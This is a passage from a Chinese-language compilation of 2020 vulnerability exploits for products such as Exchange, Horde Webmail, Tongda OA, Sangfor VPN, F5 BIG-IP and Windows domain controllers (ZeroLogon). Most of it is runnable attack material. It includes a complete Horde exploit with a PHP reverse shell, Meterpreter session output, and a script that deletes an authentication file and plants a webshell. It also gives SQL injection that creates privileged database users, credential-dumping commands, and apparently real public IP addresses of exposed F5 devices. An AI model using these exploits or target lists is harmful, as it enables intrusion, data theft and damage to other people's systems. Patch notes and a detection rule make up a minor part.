2、jdbc连接参数就是主角,这里没有限制任意类型的连接串参数。

g2dicoei3qu13361.jpg

3、将以下数据添加到jdbc连接参数中,就可以直接触发。

oybwkmlivbz13362.jpg

POST /dolphinscheduler/datasources/connect HTTP/1.1


type=MYSQL&name=test&note=&host=127.0.0.1&port=3306&database=test&

principal=&userName=root&password=root&connectType=&

other={"detectCustomCollations":true,"autoDeserialize":true}

关于MySQL JDBC客户端反序列化漏洞的相关参考:

https://www.anquanke.com/post/id/203086


5.修复建议官方升级目前官方已在最新版本中修复了此次的漏洞,请受影响的用户尽快升级版本至1.3.2进行防护,官方下载链接:https://dolphinscheduler.apache.org/zhcn/docs/release/download.html二十三、宝塔面板phpMyadmin未授权访问
来源: https://mp.weixin.qq.com/s/3ZjwFo5gWlJACSkeYWQLXA前段时间在朋友圈和微信群里火热不行的宝塔数据库面板未授权无需登录,以下是存在安全问题的版本。- Linux正式版7.4.2- Linux测试版7.5.13- Windows正式版6.81、宝塔默认phpMyadmin端口就是888 而这个漏洞排查方式极其简单 172.10.0.121:888/pma2、如果宝塔是存在安全问题的版本,那就会直接出现phpMyadmin面板页面。oeftnsiqtdd13363.jpg

二十四、CVE-2020-16875: Exchange Server 远程代码执行漏洞更新公告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875微软公告说的很明显,只需要一个Exchange用户账号。就能在Exchange服务器上执行任意命令。https://srcincite.io/pocs/cve-2020-16875.py.txthttps://srcincite.io/pocs/cve-2020-16875.ps1.txt
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass> <cmd>
(+) eg: ./poc.py 192.168.75.142 [email protected]:user123### mspaint

researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123### mspaint
(+) logged in as [email protected]
(+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5

(+) triggered rce as SYSTEM!


Microsoft Exchange远程代码执行(CVE-2020-16875):

Microsoft Exchange服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。

该漏洞影响版本:

microsoft:exchange_server_2016: cu16/cu17

microsoft:exchange_server_2019: cu5/cu6


MSF利用(https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb):

msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run


[*] Started HTTPS reverse handler on https://192.168.123.1:8443

[*] Executing automatic check (disable AutoCheck to override)

[!] The service is running, but could not be validated. OWA is running at https://192.168.123.192/owa/

[*] Logging in to OWA with creds Administrator:Passw0rd!

[+] Successfully logged in to OWA

[*] Retrieving ViewState from DLP policy creation page

[+] Successfully retrieved ViewState

[*] Creating custom DLP policy from malicious template

[*] DLP policy name: Abbotstone Agricultural Property Unit Trust Data

[*] Powershell command length: 2372

[*] https://192.168.123.1:8443 handling request from 192.168.123.192; (UUID: rwlz4ahe) Staging x64 payload (201308 bytes) ...

[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.192:6951) at 2020-09-16 02:39:17 -0500


meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo

Computer        : WIN-365Q2VJJS17

OS              : Windows 2016+ (10.0 Build 14393).

Architecture    : x64

System Language : en_US

Domain          : GIBSON

Logged On Users : 8

Meterpreter     : x64/windows

meterpreter >





二十五、PhpStudy nginx解析漏洞
小皮面板 <= 8.1.0.7,其实这个漏洞确实不是phpstudy的问题,而是2017年就出现的nginx解析漏洞。1、利用条件就只需要把php恶意文件上传(oss不算!)到服务器。<?php phpinfo();?>2、通过 /x.txt/x.php 方式访问上传的图片地址,啪嚓! 就解析了php代码。tou2rahpiyi13365.jpg
二十六、Apache Cocoon XML注入 [CVE-2020-11991]
来源:http://mail-archives.apache.org/mod_mbox/cocoon-users/202009.mbox/author程序使用了StreamGenerator这个方法时,解析从外部请求的xml数据包未做相关的限制,恶意用户就可以构造任意的xml表达式,使服务器解析达到XML注入的安全问题。1、漏洞利用条件有限必须是apacheCocoon且使用了StreamGenerator,也就是说只要传输的数据被解析就可以实现了。2、利用POC:<!--?xml version="1.0" ?--><!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]><userInfo><firstName>John</firstName> <lastName>&ent;</lastName></userInfo>snnbtjko2ps13366.jpg
二十七、Horde Groupware Webmail Edition 远程命令执行来源: https://srcincite.io/pocs/zdi-20-1051.py.txt
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability

Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33

Summary:
========

It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.

Example:
========

saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337

saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""

import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread

def rs(cbh, cbp):
    return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
$dis=@ini_get('disable_functions');
if(!empty($dis)){
    $dis=preg_replace('/[, ]+/', ',', $dis);
    $dis=explode(',', $dis);
    $dis=array_map('trim', $dis);
}else{
    $dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
    global $dis; 
    if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
        $c=$c." 2>&1\\n";
    }
    ob_start();
    system($c);
    $o=ob_get_contents();
    ob_end_clean();
    if (strlen($o) === 0){
        $o = "NULL";
    }
    return $o;
}
$nofuncs='no exec functions';
$s=@fsockopen("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
    $out = '';
    if(substr($c,0,3) == 'cd '){
        chdir(substr($c,3,-1));
    }else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
        break;
    }else{
        $out=PtdSlhY(substr($c,0,-1));
        if($out===false){
            fwrite($s, $nofuncs);
            break;
        }
    }
    fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)

def get_session(t, p, usr, pwd):
    uri = "http://%s%slogin.php" % (t, p)
    p = {
        "login_post" : 1337,
        "horde_user" : usr,
        "horde_pass" : pwd
    }
    r = requests.post(uri, data=p, allow_redirects=False)
    match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
    assert len(match) == 2, "(-) failed to login"
    return match[1]

def trigger_deserialization(t, p, s, host, port):
    """ Object instantiation to reach the deserialization """
    handlerthr = Thread(target=handler, args=(port,))
    handlerthr.start()
    uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
    p = {
        "imple" : "IMP_Prefs_Sort",
        "app" : "imp",
    }
    h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
    c = { "Horde" : s }
    r = requests.get(uri, params=p, cookies=c, headers=h)
    match = re.search("horde_logout_token=(.*)&", r.text)
    assert match, "(-) failed to leak the horde_logout_token!"
    p['token'] = match.group(1)
    r = requests.get(uri, params=p, cookies=c, headers=h)
    assert r.status_code == 200, "(-) failed to trigger deserialization!"

def get_pop():
    """ An updated pop chain """
    pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
    pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
    pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
    pop += 'S:8:"\\00*\\00_opts";a:1:{'
    pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
    pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
    pop += '}i:1;s:13:"readXMLConfig";}}'
    pop += 'S:10:"\\00*\\00_scopes";a:1:{'
    pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
    pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
    pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
    pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
    return pop

def get_patch():
    """ Our original array """
    patch  = 'a:1:{'
    patch += 's:5:"INBOX";a:1:{'
    patch += 's:1:"b";i:6;'
    patch += '}}'
    return patch

def set_pref(t, p, s, k, o):
    """ A primitive that inserts a string into the database """
    uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
    p = {
        "pref" : k,
        "value" : o,
    }
    c = { "Horde" : s }
    r = requests.get(uri, params=p, cookies=c)
    match = re.search("horde_logout_token=(.*)&", r.text)
    assert match, "(-) failed to leak the horde_logout_token!"
    p['token'] = match.group(1)
    r = requests.get(uri, params=p, cookies=c)
    assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"

def handler(lport):
    print("(+) starting handler on port %d" % lport)
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    conn, addr = s.accept()
    print("(+) connection from %s" % addr[0])
    t.sock = conn
    print("(+) pop thy shell!")
    t.interact()

def fix_path(p):
    if p == "/":
        return p
    if not p.startswith("/"):
        p = "/%s" % p
    if not p.endswith("/"):
        p = "%s/" % p
    return p

def main():
    if len(sys.argv) < 5:
        print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
        print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
        sys.exit(0)
    target = sys.argv[1]
    path   = fix_path(sys.argv[2])
    user   = sys.argv[3].split(":")[0]
    pswd   = sys.argv[3].split(":")[1]
    host   = sys.argv[4].split(":")[0]
    port   = int(sys.argv[4].split(":")[1])
    print("(+) targeting http://%s%s" % (target, path))
    session = get_session(target, path, user, pswd)
    print("(+) obtained session %s" % session)
    set_pref(target, path, session, 'sortpref', get_pop())
    print("(+) inserted our php object")
    print("(+) triggering deserialization...")
    trigger_deserialization(target, path, session, host, port)
    set_pref(target, path, session, 'sortpref', get_patch())
    print("(+) repaired the target!")

if __name__ == "__main__":
    main()

saturn:~$./poc.py 172.16.175.148/horde/ hordeuser:pass123 172.16.175.145(+) targeting http://172.16.175.145/horde/(+) obtained session iefankvohbl8og0mtaadm3efb6(+) inserted our php object(+) triggering deserialization...(+) starting handler on port 1337(+) connection from 172.16.175.145(+) pop thy shell!iduid=33(www-data) gid=33(www-data) groups=33(www-data)pwd/var/www/horde/services

二十八、通达OA任意用户登录

1、首先访问 /ispirit/login_code.php 获取 codeuid

2、访问 /general/login_code_scan.php 提交 post 参数:

uid=1&codeuid={9E908086-342B-2A87-B0E9-E573E226302A}

uxzlh1cn2k113368.jpg


3、最后访问 /ispirit/login_code_check.php?codeuid=xxx

这样 $_SESSION 里就有了登录的信息了。


二十九、通达OA v11.7 后台SQL注入

利用条件:需要登录权限,文章作者给出了利用链注入加mysql权限,又是写木马的。

/general/hr/manage/query/delete_cascade.php?condition_cascade=

select%20if((substr(user(),1,1)=%27r%27),1,power(9999,99))

1、添加一个mysql用户

grant all privileges ON mysql.* TO 'ateam666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

mxljq5kgjyt13371.jpg

2、给创建的ateam666账户添加mysql权限。

UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('ateam666' AS Binary(5));

3、刷新数据库就可以登录到数据库啦。

/general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;

4、通达OA配置mysql默认是不开启外网访问的所以需要修改mysql授权登录。

/general/hr/manage/query/delete_cascade.php?condition_cascade=

grant all privileges ON mysql.* TO 'ateam666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

5、接下来就是考验mysql提权功底的时候啦 233...

来源:https://mp.weixin.qq.com/s/8rvIT1y_odN2obJ1yAvLbw

三十、Wordpress File-manager插件任意文件上传

相信大家对Wordpress并不陌生;File-manager插件也是相当火爆前段时间爆出任意文件上传漏洞。

00xeo2n5tco13372.jpg

成功上传后文件访问路径

/wordpress/wp-content/plugins/wp-file-manager/lib/files/shell.php

参考:https://www.anquanke.com/post/id/216990


三十一、Pligg CMS远程代码执行[CVE-2020-25287]

漏洞非常鸡肋需要登录后台、受影响Pligg2.0.3版本。

wq2p1j4eenr13375.jpg

1、模版编辑器功能可以编辑任意文件内容,在文件中加入恶意代码导致代码执行。

参考:https://github.com/jenaye/pligg

mraqaiftqck13377.jpg三十二、ZeroLogon接管域控权限漏洞[CVE-2020-1472]

1. 组件概述

Netlogon远程协议是一个远程过程调用(RPC)接口,用于基于域的网络上的用户和计算机身份验证。Netlogon远程协议RPC接口还用于为备份域控制器(BDC)复制数据库。


Netlogon远程协议用于维护从域成员到域控制器(DC),域的DC之间以及跨域的DC之间的域关系。此RPC接口用于发现和管理这些关系。


2. 漏洞介绍

该漏洞主要是由于在使用Netlogon安全通道与域控进行连接时,由于认证协议加密部分的缺陷,导致攻击者可以将域控管理员用户的密码置为空,从而进一步实现密码hash获取并最终获得管理员权限。成功的利用可以实现以管理员权限登录域控设备,并进一步控制整个域。

3. 漏洞影响

• Microsoft Windows Server 2008 R2 SP1

• Microsoft Windows Server 2012
• Microsoft Windows Server 2012 R2
• Microsoft Windows Server 2016
• Microsoft Windows Server 2019
• Microsoft Windows Server version 2004 (Server Core Installation)
• Microsoft Windows Server version 1903 (Server Core Installation)

• Microsoft Windows Server version 1909 (Server Core Installation)

4. 解决方案

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472


5.漏洞复现攻击主机:kali受害者主机名:owa.rootkit.org(window2008)1.使用Impacket库验证Zerologon(CVE-2020-1472)Python脚本(https://github.com/SecuraBV/CVE-2020-1472)将尝试执行Netlogon身份验证绕过。成功执行完后时,脚本将立即终止,并且不执行任何Netlogon操作需要Python 3.7以上版本以及pippip install -r requirements.txt前提条件需要用到Impacket库https://github.com/SecureAuthCorp/impacketpython3 setup.py install  //安装impacket运行脚本:执行的脚本目标名称可以是主DC或辅助DC。给定EXAMPLE-DC的主机名以及DC的IP:./zerologon_tester.py EXAMPLE-DC DC的IP./zerologon_tester.py   OWA 192.168.1.104如果存在漏洞,会返回信息:Success! DC can be fully compromised by a Zerologon attack2.使用cve-2020-1472-exploit.py进行攻击(测试域控制器是否容易受到Zerologon攻击。当受到攻击时,将DC帐户密码重置为空字符串)前提条件需要用到Impacket库:https://github.com/SecureAuthCorp/impacketgit clone https://github.com/SecureAuthCorp/impacket.gitpython3 setup.py install  //安装impacket执行脚本https://github.com/dirkjanm/CVE-2020-1472python3 cve-2020-1472-exploit.py owa 192.168.1.104如果利用漏洞成功,则会提示:vulnerable, changing account password to empty string3、使用impacket的secretsdump.py远程导出域控制上的hashpython3 secretsdump.py rootkit.org/owa\[email protected]   -no-pass4、利用获取到的管理员hash,通过impacket的wmiexec.py来远程操作域控服务器,获取域控的终端命令窗口python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13cf6cfe1f2fc41cd286c7c8caec978b rootkit.org/[email protected]、获取管理员hash,远程连接导出sam数据库中的原来的计算机hashreg  save  HKLM\SYSTEM   system.savereg  save  HKLM\SAM   sam.savereg  save  HKLM\security   security.saveget  system.saveget sam.saveget  security.savepython3 secretsdump.py -sam sam.save -system system.save -security security.save LOCALdel /f system.savedel /f sam.savedel /f security.save注意:这里会获得一个账号名为:$MACHINE:ACC账号的hash值,注意hash的后半6、恢复计算机的hash下载脚本 https://github.com/risksense/zerologonpython3 reinstall_original_pw.py owa 192.168.1.104  ad611ebf4fd2de9448a33ba693b212f4     //注意hash的部分,只有后半部分如果还原密码成功则会显示:Success! DC machine account should be restored to it\'s original value. You might want to secretsdump again to check7、恢复计算机的hash使用impacket的脚本来登录域控来验证hashpython3 secretsdump.py  rootkit.org/administrator:[email protected]   -just-dc-user  owa\$使用7步骤的脚本回复hash前python3 reinstall_original_pw.py owa 192.168.1.104  ad611ebf4fd2de9448a33ba693b212f4     //注意hash的部分,只有后半部分python restorepassword.py rootkit.org/[email protected]  -target-ip 192.168.1.104   -hexpass aad3b435b51404eeaad3b435b51404ee:13cf6cfe1f2fc41cd286c7c8caec978b通过mimikatz中CVE-2020-1472功能攻击ActiveDirectory的三步骤:# lsadump::dcsync /domain:LAB.LOCAL   /dc:dc.lab.local  /user:krbtg  t /authuser:dc$   /authdomain:LAB    /authpassword:""   /authntlm# lsadump::zerologon /target:dc.lab.local      /account:dc$  # lsadump::zerologon /target:dc.lab.local      /account:dc$   /exploit# lsadump::dcsync# lsadump::postzerologon /target:dc.lab.local      /account:dc$                       #恢复密码snort检测规则:
alert tcp any any -> any ![139,445] (msg:"Possible Mimikatz Zerologon Attempt"; flow:established,to_server; content:"|00|"; offset:2; content:"|0f 00|"; distance:22; within:2; fast_pattern; content:"|00 00 00 00 00 00 00 00 ff ff 2f 21|"; within:90; reference:url,https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20200916; classtype:attempted-admin; sid:20166330; rev:2; metadata:created_at 2020_09_19;)
Windows事件管理器自查:在未打补丁的域控,重点查看windows事件管理器中,eventid为4742或者4624,5805Microsoft安全审核中的事件4742在Windows 8月更新中,新增事件ID 5829,5827,5828,5830,5831。蓝队可以重点关注这几个事件ID以方便自查
  1. 当在初始部署阶段允许存在突破的Netlogon安全通道连接时,将生成事件ID 5829。
  2. 管理员可以监控事件ID 5827和5828,这些事件ID在存在漏洞的Netlogon连接被拒绝时触发
  3. 5830,5831如果“域控制器:允许易受攻击的Netlogon安全通道连接”组策略允许连接。
  mimikatz通过zerologon攻击成功后,将会留下事件id为4648。

参考文献:https://mp.weixin.qq.com/s/xq6gwgomkE0ru3lR3EmDaw https://mp.weixin.qq.com/s/nRKuFAD-ev9k5icUmYdkvg https://asciinema.org/a/359607 https://www.t00ls.net/articles-57858.html https://mp.weixin.qq.com/s/HoyMVPtdajGKGFsXxR_SfA

通过mimikatz中CVE-2020-1472功能攻击ActiveDirectory的三步骤:# lsadump::dcsync /domain:LAB.LOCAL   /dc:dc.lab.local  /user:krbtg  t /authuser:dc$   /authdomain:LAB    /authpassword:""   /authntlm# lsadump::zerologon /target:dc.lab.local      /account:dc$  # lsadump::zerologon /target:dc.lab.local      /account:dc$   /exploit滥用Zerologon的另一种方式(CVE-2020-1472):ntlmrelayx.py  --no-http-server   -smb2support  -t  DCSYNC://dc.lab.localmimikatz#misc::spooler /server:dc-bis.lab.local   /connect:debian.labsec.local ueusuvt4ofe13380.png

三十三、ThinkAdminV6 任意文件操作Update.php 三个函数未校验访问权限1、目录遍历注意POST数据包rules参数值需要URL编码POST /admin.html?s=admin/api.Update/node
rules=%5B%22.%2F%22%5Dhufwj33hpop13382.jpg


2、文件读取,后面那一串是UTF8字符串加密后的结果。计算方式在Update.php中的加密函数。/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34am0gaq1h1y313384.jpg三十四、CVE-2020-1181:SharePoint远程代码执行

)在演示场景中,我们使用的版本为替代配置的Microsoft SharePoint 2019 Server,安装在Windows Server 2019 Datacenter系统上。服务器主机称为sp2019.contoso.lab,已加入contoso.lab域中,域控制器为一台独立的虚拟机。目标主机已安装终止2020年2月份的所有补丁,因此对应的版本号为16.0.10355.20000

攻击系统中只需要使用支持的Web浏览器即可。如下图所示,我们使用的浏览器为Mozilla Firefox 69.0.3。我们将使用与前文类似的WikiContentWebpart,将其命名为WikiContentRCE.xml

1.首先我们访问SharePoint Server,以普通用户(user2)通过身份认证:

tlikkugaj0q13385.png

3hmpb5lrpqk13387.png

2.接下来创建站点,使该用户变成该站点所有者(所有者),具有所有权限。(前提条件普通用户具有创建站点的权限)

点击顶部面板的“ SharePoint”区域:

lhw5pistpaw13388.png

然后点击“ +创建网站 ”链接:

002jec4fljq13390.png

选择“ Team Site ”。现在我们需要为新站点设置名称,这里我们设置为testsiteofuser2

z2urtut5yny13392.png

点击“ 完成 ”,成功创建新站点:

rzmb3q5v0qv13393.png

现在点击“ Pages ”链接:

qwu0s24wmje13394.png

我们需要切换到“ Classic View ”,单击左下角的“ Return to classic SharePoint ”链接即可:

sdh0nwgz51r13395.png

点击“ + New ”,为新页面设置一个名称。这里我们设置为newpage1

bftyzkwooiu13396.png

点击“ 创建 ”按钮确认。

m3hmotznlav13397.png

现在我们需要在“ INSERT ”标签页中选择“ Web Part ”:

j32bdbrud4j13398.png

在上方窗口中,选择左下角的“ Upload Web Part ”链接,上传我们构造的WikiContentRCE.xml文件:

23a3prtsuam13399.png

点击上传。我们可能会看到一个警告弹窗:“确认离开页面?您输入的数据可能不会被保存”。此时点击“ 离开页面 ”按钮即可,返回主编辑视图:

umizal20gi413400.png

我们需要再次在INSERT标签页中选择Web部件小部件,其中将出现我们引入的Web部件:

n2wpmr5bcf113401.png

在点击添加按钮之前,我们先转到目标SharePoint服务器,打开C:\windows\temp目录:

egmt2koveri13402.png

此时该目录中不存在RCE_PoC.txt文件。

现在我们转到攻击者主机,将我们引入的Web Part添加到页面中:

doegusfp0yr13403.png

再次在目标服务器上检查C:\windows\temp目录:

cgotc0a3gmb13404.png

通过这种方法,攻击者可以执行任意系统命令,入侵服务器。攻击者只需要在WikiContentRCE.xml文件中,将echo pwned > c:/windows/temp/RCE_PoC.txt串联替换成所需的命令即可。


三十五、深信服SSL VPN任意密码重置深信服VPN加密算法使用了默认的key,攻击者构利用key构造重置密码数据包从而修改任意用户的密码利用:需要登录账号

M7.6.6R1版本默认key为20181118

M7.6.1版本默认key为20100720

sangfor_key.py

from  Crypto.Clipher  import  ARC4

from binascii  import  a2b_hex

def   myRC4(data,key):

    rc41=ARC4.new(key)

    encrypted=rc41.encrypt(data)

    return  encrypted.encode('hex')

def rc4_decrpt_hex(data,key):

    rc41=ARC4.new(key)

    return  rc41.decrypt(a2b_hex(data))

key='20200720'

data=r',username=TARGET_USERNAME,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=TARGET_PASSWORD,'

print  myRC4(data,key)

zgfh5bovt5o13405.jpg

https://<PATH>/por/changepwd.csp(post)



sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR&len=(脚本计算后结果)

3hy5hlhpyq413406.jpg

三十六、深信服SSL VPN修改任意账户手机号

修改手机号接口未正确鉴权导致越权覆盖任意用户的手机号码

利用:需要登录账号

https://<PATH>/por/changetelnum.csp?apiversion=1
newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1

1srrn5duvew13407.jpg
三十七、通达OA v11.6版本RCE漏洞一、影响版本 11.6

二、复现过程
1.下载11.6版本oa,下载地址:http://www.kxdw.com/soft/23114.html
2.安装


在这里插入图片描述

u1tyr3bc0b513409.jpg
2uaufq1f3li13411.jpg


3.exp脚本

import requests

target="http://ip:port/"     //此处填写上面安装oa的ip及端口

payload="<?php eval($_POST['hahaha']);?>"

print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")

input("Press enter to continue")

print("[*]Deleting auth.inc.php....")


url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"

requests.get(url=url)

print("[*]Checking if file deleted...")

url=target+"/inc/auth.inc.php"

page=requests.get(url=url).text

if 'No input file specified.' not in page:

    print("[-]Failed to deleted auth.inc.php")

    exit(-1)

print("[+]Successfully deleted auth.inc.php!")

print("[*]Uploading payload...")

url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"

files = {'FILE1': ('deconf.php', payload)}

requests.post(url=url,files=files)

url=target+"/_deconf.php"

page=requests.get(url=url).text

if 'No input file specified.' not in page:

    print("[+]Filed Uploaded Successfully")

    print("[+]URL:",url)

else:

    print("[-]Failed to upload file")

4.然后执行该exp的效果如下图

ssobczk4wtb13413.jpg5.用菜刀连接该后门,如下

m1oiasj352v13414.jpghttps://github.com/TomAPU/poc_and_exp https://drivertom.blogspot.com/2019/06/pyspider-webuipocexp.htmlhttps://www.cnblogs.com/yuzly/p/13600532.htmlhttps://www.cnblogs.com/panisme/p/12560769.html

三十八、F5负载均衡:cve-2020-5902

版本影响:
  • BIG-IP 15.x: 15.1.0/15.0.0
  • BIG-IP 14.x: 14.1.0 ~ 14.1.2
  • BIG-IP 13.x: 13.1.0 ~ 13.1.3
  • BIG-IP 12.x: 12.1.0 ~ 12.1.5
  • BIG-IP 11.x: 11.6.1 ~ 11.6.5
远程命令执行RCE:curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
https://43.247.102.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
https://43.247.102.142/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
5sybczi0t1v13416.png
gf0rtxer1ls13417.png

yuln5yvf2e013418.png

文件包含漏洞:https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hostshttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
https://183.2.157.179/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://36.110.142.2/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://183.2.157.181/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://58.215.213.226/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://36.110.49.152/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://116.204.216.4/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://116.204.219.3/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://43.247.102.141/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://218.205.188.31/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://60.247.99.150/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://36.110.49.151//tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://111.198.181.151/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://220.248.87.92/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://43.247.102.142/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://183.2.157.180/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://43.247.102.140/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdrwj4vbvmpdg13420.pngobtejur2zqb13421.jpgjiyi1febyjs13422.png
临时修补建议:官方建议可以通过以下步骤临时缓解影响1.使用以下命令登录对应系统tmsh
2.编辑 httpd 组件的配置文件
edit /sys httpd all-properties
3.文件内容如下
